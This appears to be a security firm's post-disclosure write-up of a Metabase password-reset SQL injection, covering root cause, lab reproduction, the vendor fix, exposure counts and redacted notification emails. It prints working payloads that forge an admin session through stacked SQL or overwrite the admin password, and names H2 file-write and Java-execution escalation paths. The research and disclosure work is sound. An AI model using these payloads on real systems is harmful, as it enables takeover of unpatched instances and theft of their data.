RiftWeld

CVE-2026-72898 · Vulnerability research

One request to admin: reconstructing the Metabase password-reset SQL injection

An unauthenticated POST /api/session/reset_password on affected Metabase releases flows user-controlled keys into the login pipeline: enough to forge an administrator session, and on default installs, to overwrite the admin password outright. This is an independent reconstruction, lab validation, and vendor-fix analysis, published after the fix.

CVSS-B 10.0 CISA KEV · 11 Aug 2026 Fixed in 0.63.5 · 15 August 2026 · ~10 min read
wire trace · lab instance

POST /api/session/reset_password { "user-id": { "raw": "1); INSERT INTO core_session … ; --" } }

→ 400 Invalid reset token // blind, but committed

GET /api/user/current Cookie: metabase.SESSION=<attacker-chosen-uuid>

→ 200 "is_superuser": true

Summary

What happened, and what we did

Metabase Cloud was attacked in early August 2026 through an unknown vulnerability in the password-reset endpoint. Metabase blocked the endpoints, patched, and disclosed; the CVE and its CISA KEV listing followed. Starting from the public record alone, we rebuilt the flaw from source, reproduced the full takeover chain in an isolated lab, extracted the vendor fix from the security-release jars, and enumerated the exposed population passively. We then emailed the roughly 3,000 affected companies to tell them their instance was vulnerable and needed to be patched; two organisations responded.

  • Reachable by anyone: an unauthenticated POST body reaches the authentication merge in auth-identity/login! with attacker-controlled extra keys.
  • Three primitives: a HoneySQL map subquery injection, an orphan admin-session creation that needs no SQL at all, and a {"raw"} map form that executes arbitrary (including stacked) SQL.
  • Full takeover: forged admin session (400 → 200) reproduced end-to-end on Postgres, H2, and Enterprise, matching the in-the-wild IOC pattern.
  • Scope: all exploitation was performed on lab instances we own. No third-party instance was touched.
  • Outreach: we emailed the roughly 3,000 affected companies to tell them their instance was vulnerable to an actively exploited flaw and needed to be patched. Two organisations responded.

Scope

What this publication can and cannot establish

Can establish

  • Root cause, exploitation primitives, and a complete takeover chain, reproduced on owned lab instances with statement-log evidence.
  • The vendor fix, decompiled and mapped to each finding.
  • A passive exposure count and version triage of internet-facing instances at the time of research.

Cannot establish

  • Original discovery. This is a post-disclosure reconstruction: Metabase, CISA, and public reporting came first; we started on 15 August.
  • Any victim-side detail beyond what public postmortems and reporting already state.
  • That any specific instance was exploited; version and endpoint exposure are not proof of compromise.

Timeline

How the disclosure moved

DateEvent
2–3 Aug 2026Attacks against Metabase Cloud customers Public postmortems and reporting
3 Aug 2026Metabase blocks the affected endpoints
6 Aug 2026Metabase patches and notifies customers; public security update published
11 Aug 2026CVE-2026-72898 published; added to the CISA KEV catalog
15–17 Aug 2026Independent reconstruction, lab validation, and exposure sweep This work, all lab-confined

Root cause

A merge that trusts the request body

The reset handler validates only token and password; the request-body schema is an open map, so any extra key passes through. The authentication pipeline then merges the raw request into its own state and resolves the target user from fields the caller should never control:

;; auth_identity/provider.clj, login! :around (v0.63.1)
(as-> (merge request (authenticate provider request)) $
  (assoc $ :user
         (or (when-let [user-id (:user-id $)]
               (t2/select-one [:model/User :id :is_active :last_login :tenant_id]
                              :id user-id))          ; ← attacker-controlled id
             (when-let [email (get-in $ [:user-data :email])]
               (t2/select-one … :%lower.email (u/lower-case-en email)))))
  …
  (cond-> $ (:user $) (create-session! provider)))   ; ← gated on a resolved user, not on success?

Two properties compound. First, Toucan2 compiles a map supplied as the :id value into SQL: a map becomes a subquery, and the special {:raw "…"} map renders its string verbatim into the statement. Second, create-session! runs whenever any user resolves, even when authentication fails, so the failure path issues a session anyway (the key never leaves the server, but the session row is real).

Exploitation

Three primitives, one endpoint

Subquery injection

user-id as a map

Plain JSON structures compile as HoneySQL: {"select": …} becomes a subquery in WHERE "id" = (…). SELECT-shaped injection, executed against the app database.

Logic flaw, no SQL needed

user-data.email

Any unauthenticated caller who names an existing account creates an orphan admin-session row on the auth-failure path. Same root bug, pure logic.

Raw SQL escape

{"raw": "…"}

The map-key :raw form splices SQL verbatim: identifiers, functions, outer UNIONs, and stacked statements. The write primitive that completes the chain.

Only when a policy-passing password is supplied does the body reach the injection; with an invalid password the schema checker rejects first. That detail, and the exact emitted SQL, came out of the statement log rather than guesswork.

-- payload: {"user-id": {"raw": "1"}}
SELECT "core_user"."id", "core_user"."is_active", "core_user"."last_login", "core_user"."tenant_id"
FROM "core_user" WHERE "id" = (1)

-- payload: {"user-id": {"raw": "1); INSERT INTO l11_scratch … ; --"}}
execute <unnamed>: SELECT "core_user"."id", … FROM "core_user" WHERE "id" = (1)
execute <unnamed>:  INSERT INTO l11_scratch (id,note) VALUES (99, 'stacked')   -- 2nd statement persists after the blind 400

On Postgres the driver (pgjdbc) splits top-level ; client-side and runs every statement; on H2, JDBC multi-statement does the same. MySQL's default connection profile blocks stacking, but the single-statement injection and its timing oracle still land.

The chain

From unauthenticated POST to administrator

Phase A: forge a session (Postgres or H2)

POST /api/session/reset_password
{"token":"1_0000","password":"<valid>",
 "user-id":{"raw":"1); INSERT INTO core_session (id,user_id,key_hashed,created_at)
             VALUES ('A1B2C3D4E5F6',1,'<hex(sha512(chosen-uuid))>',CURRENT_TIMESTAMP); --"}}

→ 400 "Invalid reset token"  (blind; the INSERT is committed)

GET /api/user/current
Cookie: metabase.SESSION=<chosen-uuid>

→ 200  { "email": "admin@…", "is_superuser": true }

The session hash is hex(sha512(ascii(key))), so an attacker who chooses the key can write the matching row and use it immediately. The middleware accepts rows created within the last 14 days; the forged row lives there.

Phase B: or take the account directly (H2, the default self-hosted app DB)

{"user-id":{"raw":"1); UPDATE core_user SET password='<bcrypt(salt||pw)>',
             password_salt='S' WHERE email='<admin email>'; --"}}

→ 400 (committed) → normal login succeeds → is_superuser: true

Metabase verifies bcrypt(salt ‖ password), prepending the salt column, so the attacker sets both columns. The H2 connection itself authenticates as the empty-name admin user, which is why the default install is the worst case: alongside the takeover, expression-level FILE_WRITE/CSVWRITE/FILE_READ are reachable, and CREATE ALIAS runs Java.

In the wild

What the attacks looked like

Public reporting and a public per-instance activity log describe the attacker behaviour that followed a successful session: reconnaissance through the admin session, then API-key persistence, then exit. No account creation.

TimeActivity (public activity log)
13:00Access gained; authenticated as the administrator
13:01–13:1254 queries run through that session
13:14API key created (tied to a service account)
13:14–13:1719 further queries via the API key
13:17API key deleted, exit

Publicly reported victims include n8n, Framework, Tally, Kilo Code, ChecklyHQ, Cypress, and Privy, a Stripe-owned company, with downstream disclosures such as Trezor customers via ShipMonk. Among the publicly reported victims are billion-dollar companies: n8n at a $5.2B valuation, Anaconda at over $2B (Kilo Code's parent), and Stripe at $159B through its subsidiary Privy. Metabase's own incident report states that under 3% of its cloud customers were compromised, with some self-hosted deployments affected as well. Checkly's postmortem notes ~26 minutes of read-only warehouse access, no accounts created, no API keys changed. The shape matches what we reproduced exactly: a forged session that behaves like a normal login, nothing else on the box touched.

The fix

What 0.63.5 changed

Decompiling the security release shows four layers, defence-in-depth rather than a one-line patch:

  1. Closed body schema: extra keys now return "disallowed key" before any handler runs.
  2. authenticate-owned-keys merge filter: the pipeline's own keys (:user-id, :user-data, :success?, :session, MFA keys, …) are stripped from the merged request. The vendor's docstring says the quiet part out loud: a surviving copy would let the caller “name the account it logs into, assert its own success, or steer tenant sync.”
  3. Type gates: (true? (:success? …)) and (pos-int? (:user-id …)) in the merge, which kills both map forms (a raw map is not a positive integer).
  4. Handler narrowing: reset_password passes only [:token :password] downstream.

Every payload family we built returns "disallowed key" on 0.63.5 with zero SQL emitted, confirmed by an independent 28-payload bypass battery. Notably, the fix filters the merge rather than the session gate: the vendor's diff matches the root-cause model we built independently.

Exposure

How many instances, measured passively

Enumeration used Shodan's stored scan data only, with no active probing of third parties, followed by version and endpoint checks on lab-adjacent probes we control the path for, and organisation attribution through public records (domain, certificate, WHOIS, security.txt).

MeasureCountMethod
Exposed Metabase (Shodan product:Metabase)16,331 → 15,942 collectedPassive API sweep
Running a vulnerable version3,065Unauthenticated version fingerprint
Endpoint exposed (reset_password reachable)3,050Vendor-IOC signature (empty POST → 400)
Organisations attributable≈1,500–1,600~1,182 company domains + 427 ASN orgs

We emailed the operators behind the roughly 3,000 affected companies to let them know their instance was vulnerable to an actively exploited flaw and needed to be patched, including the vendor IOC, the observed version, and remediation guidance. Each notice stated plainly what we did and did not do against their systems. Two organisations responded. Independent public counts of the exposed pool vary by methodology (Dataminr: about 4,300 potentially vulnerable instances; Shadowserver: about 2,171 unpatched at the time of reporting). Redacted copies of the notification emails we sent and of the replies we received are below. Per-target records are intentionally not published.

Notification email — archived copy 1 (0.62.x instance)

From: Riftweld Security <security@riftweld.com>
To: [redacted]
Subject: Security notice - your Metabase instance is exposed to actively-exploited CVE-2026-72898
Date: 16 Aug 2026

Hi [redacted] Security Team,

I'm a security researcher with **Riftweld**. During an internet-wide exposure
study, I identified an internet-facing Metabase instance associated with
[redacted] running a version affected by **CVE-2026-72898**.

**Observed exposure**

* Host: `[redacted]`
* Metabase version: `0.62.2`
* Observed: `2026-08-16 15:52 UTC`
* `/api/session/reset_password` is externally reachable
* Minimum safe release: `0.62.9`

**CVE-2026-72898 is a critical unauthenticated SQL injection vulnerability.**
In a controlled lab running an affected Metabase release, I reproduced the
full exploitation chain and confirmed that an unauthenticated attacker can
forge an administrator session and obtain full Metabase administrative access.

The vulnerability has been exploited in the wild and is listed in CISA's
Known Exploited Vulnerabilities catalog.

I **did not exploit your instance, access any data, authenticate as another
user, modify anything, or attempt to obtain credentials**. The checks against
your infrastructure were limited to non-destructive, unauthenticated
verification of the exposed version and affected endpoint.

I recommend that your team:

1. Upgrade all affected instances to `0.62.9` or later.
2. Until patched, restrict external access to `/api/session/reset_password`.
3. Review logs for suspicious `POST /api/session/reset_password` activity,
   particularly when followed by `GET /api/user/current`.
4. If suspicious activity is identified, revoke active sessions, review
   privileged accounts and API keys, rotate relevant database credentials,
   and review database access logs.

I have the **full technical evidence package ready**, including the lab
reproduction, root-cause analysis, IOCs, affected-versus-patched behavior,
and remediation guidance.

Please confirm receipt when possible and, if your security process uses one,
send me the disclosure or incident tracking reference so I can associate any
follow-up information with the correct case.

Regards,
Muhammad Luay
**Riftweld**
Security Research
security@riftweld.com
riftweld.com
Notification email — archived copy 2 (0.63.x instance)

From: Riftweld Security <security@riftweld.com>
To: [redacted]
Subject: Security notice - your Metabase instance is exposed to actively-exploited CVE-2026-72898
Date: 16 Aug 2026

Hi [redacted] Security Team,

I'm a security researcher with **Riftweld**. During an internet-wide exposure
study, I identified an internet-facing Metabase instance associated with
[redacted] running a version affected by **CVE-2026-72898**.

**Observed exposure**

* Host: `[redacted]`
* Metabase version: `0.63.1`
* Observed: `2026-08-16 15:52 UTC`
* `/api/session/reset_password` is externally reachable
* Minimum safe release: `0.63.5`

**CVE-2026-72898 is a critical unauthenticated SQL injection vulnerability.**
In a controlled lab running an affected Metabase release, I reproduced the
full exploitation chain and confirmed that an unauthenticated attacker can
forge an administrator session and obtain full Metabase administrative access.

The vulnerability has been exploited in the wild and is listed in CISA's
Known Exploited Vulnerabilities catalog.

I **did not exploit your instance, access any data, authenticate as another
user, modify anything, or attempt to obtain credentials**. The checks against
your infrastructure were limited to non-destructive, unauthenticated
verification of the exposed version and affected endpoint.

I recommend that your team:

1. Upgrade all affected instances to `0.63.5` or later.
2. Until patched, restrict external access to `/api/session/reset_password`.
3. Review logs for suspicious `POST /api/session/reset_password` activity,
   particularly when followed by `GET /api/user/current`.
4. If suspicious activity is identified, revoke active sessions, review
   privileged accounts and API keys, rotate relevant database credentials,
   and review database access logs.

I have the **full technical evidence package ready**, including the lab
reproduction, root-cause analysis, IOCs, affected-versus-patched behavior,
and remediation guidance.

Please confirm receipt when possible and, if your security process uses one,
send me the disclosure or incident tracking reference so I can associate any
follow-up information with the correct case.

Regards,
Muhammad Luay
**Riftweld**
Security Research
security@riftweld.com
riftweld.com
Redacted copies of the notification emails sent to affected operators in August 2026 — two archived instances of the same notice, filled per organisation. Company-identifying details and per-target records are withheld; the standard closing boilerplate is omitted. Files: notifications/.
Redacted email reply: an operator writes that their team is actively investigating and remediating the reported issue at the moment. Redacted email reply: an operator writes that they have investigated the issue and fixed it on their end.
Both replies, received in August 2026, redacted to remove identifying details. One operator confirmed the instance had been fixed; the other confirmed remediation was under way.

Lab method

How the reconstruction was verified

Eight lab rounds on owned infrastructure (OSS and Enterprise builds, Postgres and H2 app DBs, vulnerable and patched versions), with PostgreSQL log_statement=all and H2 trace-level SQL capture. The write-primitive surface, by engine:

App DBStacked ;DML CTEFile writes
PostgreSQL 14Yes, driver splits client-sideOnly as stacked top-levello_export; host effects via superuser context
H2 2.1.214Yes, JDBC multi-statementNo (read-only CTE bodies)FILE_WRITE / CSVWRITE / FILE_READ; CREATE ALIAS → Java
MySQL (default app user)No (allowMultiQueries=false)NoNo (FILE privilege absent)

Correction we published forward

Our first grammar harness tested only string-headed vectors and concluded no raw-SQL escape existed. Live endpoint testing disproved it: the keywordized map-key {"raw": …} form executes arbitrary SQL. The repo’s lab log carries the correction inline rather than silently: the superseded conclusion and the evidence that replaced it are both on the record.

Everything (the PoC, the statement-log excerpts, the capability matrices, and the fix extraction) is in the accompanying repository.

References

Primary sources